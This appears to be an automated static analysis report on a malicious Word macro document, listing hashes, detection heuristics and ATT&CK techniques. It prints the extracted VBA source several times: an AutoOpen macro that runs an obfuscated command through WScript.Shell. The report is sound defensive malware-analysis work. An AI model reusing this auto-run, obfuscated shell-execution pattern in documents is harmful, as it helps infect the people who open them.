Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cf075603f162ad6b…

MALICIOUS

Office (OLE)

81.9 KB First seen: 2020-02-04
MD5: cd24d669220e23aa7ad73e4bc05b7a4a SHA-1: b5934b7497c47e0aea7505943a5f7d9a4bb747fe SHA-256: cf075603f162ad6b952011cb3608383e74052aec34e057a083981975838d4d80
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros, including an AutoOpen subroutine, which is a common technique for malicious Office documents. The script explicitly uses `CreateObject("WScript.Shell")` and the `Run` method, indicating an attempt to execute arbitrary commands. This strongly suggests the document is designed to download and execute a second-stage payload, likely leveraging the `WScript.Shell` object for this purpose.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    On Error Resume Next
ojqkiAKTO = CreateObject("WScript.Shell").Run(ChrW(2 + 6 + 9 + 10 + 40) + zvAiLSqDchIsA + siFSfwcM + bEFUjaiNL + isJLSOoiY + iWjdt + liCOtzzY + KUzEGiYhj + WPouMUzi + khHiNp + YDASzr + XzaLZGSwwU + FrrcnVWwLdY + wWOfTz + NiNEuLoklB + lNzmGKoLIkP + MlaDQcz + KHLpl + SzcvLr + nPoGlQfKZ + uzONfALL + wbVviKOabPs + UCBuOCOinzQ + BUwAqvoaBG + ifQsChEhmbAL, 380404241 - 380404241)
End Sub
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    On Error Resume Next
ojqkiAKTO = CreateObject("WScript.Shell").Run(ChrW(2 + 6 + 9 + 10 + 40) + zvAiLSqDchIsA + siFSfwcM + bEFUjaiNL + isJLSOoiY + iWjdt + liCOtzzY + KUzEGiYhj + WPouMUzi + khHiNp + YDASzr + XzaLZGSwwU + FrrcnVWwLdY + wWOfTz + NiNEuLoklB + lNzmGKoLIkP + MlaDQcz + KHLpl + SzcvLr + nPoGlQfKZ + uzONfALL + wbVviKOabPs + UCBuOCOinzQ + BUwAqvoaBG + ifQsChEhmbAL, 380404241 - 380404241)
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    On Error Resume Next
ojqkiAKTO = CreateObject("WScript.Shell").Run(ChrW(2 + 6 + 9 + 10 + 40) + zvAiLSqDchIsA + siFSfwcM + bEFUjaiNL + isJLSOoiY + iWjdt + liCOtzzY + KUzEGiYhj + WPouMUzi + khHiNp + YDASzr + XzaLZGSwwU + FrrcnVWwLdY + wWOfTz + NiNEuLoklB + lNzmGKoLIkP + MlaDQcz + KHLpl + SzcvLr + nPoGlQfKZ + uzONfALL + wbVviKOabPs + UCBuOCOinzQ + BUwAqvoaBG + ifQsChEhmbAL, 380404241 - 380404241)
End Sub
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 83,833 bytes but its declared streams total only 36,445 bytes — 47,388 bytes (57%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 745 bytes
SHA-256: 65b940007ee01d6683bbdc520ede2a223426f762b6d05eef6239d8f0b93591d5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EnPIwkwa"

Sub AutoOpen()
On Error Resume Next
ojqkiAKTO = CreateObject("WScript.Shell").Run(ChrW(2 + 6 + 9 + 10 + 40) + zvAiLSqDchIsA + siFSfwcM + bEFUjaiNL + isJLSOoiY + iWjdt + liCOtzzY + KUzEGiYhj + WPouMUzi + khHiNp + YDASzr + XzaLZGSwwU + FrrcnVWwLdY + wWOfTz + NiNEuLoklB + lNzmGKoLIkP + MlaDQcz + KHLpl + SzcvLr + nPoGlQfKZ + uzONfALL + wbVviKOabPs + UCBuOCOinzQ + BUwAqvoaBG + ifQsChEhmbAL, 380404241 - 380404241)
End Sub


Attribute VB_Name = "BIGvBwSwFq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.